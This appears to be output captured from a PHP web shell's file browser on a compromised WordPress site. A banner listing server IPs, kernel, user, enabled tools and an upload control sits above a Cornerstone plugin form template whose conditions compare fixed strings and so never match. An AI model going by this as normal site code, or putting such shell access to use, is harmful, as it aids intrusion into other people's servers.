| Server IP : 172.67.159.97 / Your IP : 216.73.217.154 Web Server : nginx/1.24.0 System : Linux wordpress-sites 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/rebeccaone.com/wp-content/plugins/cornerstone/includes/views/partials/ |
Upload File : |
<?php
// =============================================================================
// VIEWS/PARTIALS/INPUT.PHP
// -----------------------------------------------------------------------------
// Input partial.
// =============================================================================
?>
<div class="x-form-control" data-x-form-control="text|radio|checkbox|select|submit">
<?php if ( 'input_type' === 'text' || 'input_type' === 'password' ) : ?>
<label for="input_name">Username</label>
<input type="text" name="input_name" value="" id="input_name">
<?php elseif ( 'input_type' === 'radio' ) : ?>
<label for="radio_name">
<input type="radio" name="radio_name" value="y" id="radio_name_1"> Yes
<input type="radio" name="radio_name" value="n" id="radio_name_2"> No
</label>
<?php elseif ( 'input_type' === 'checkbox' ) : ?>
<label for="checkbox_name">
<input type="checkbox" name="checkbox_name" value="y" id="checkbox_name_1"> Yes
</label>
<?php elseif ( 'input_type' === 'select' ) : ?>
<label for="select_name">Username</label>
<select name="select_name">
<option value="1">Option #1</option>
<option value="2">Option #2</option>
<option value="3">Option #3</option>
</select>
<?php elseif ( 'input_type' === 'submit' ) : ?>
<button type="submit">
Verify
<span class="x-form-processing"><span>Processing...</span></span>
</button>
<?php endif; ?>
</div>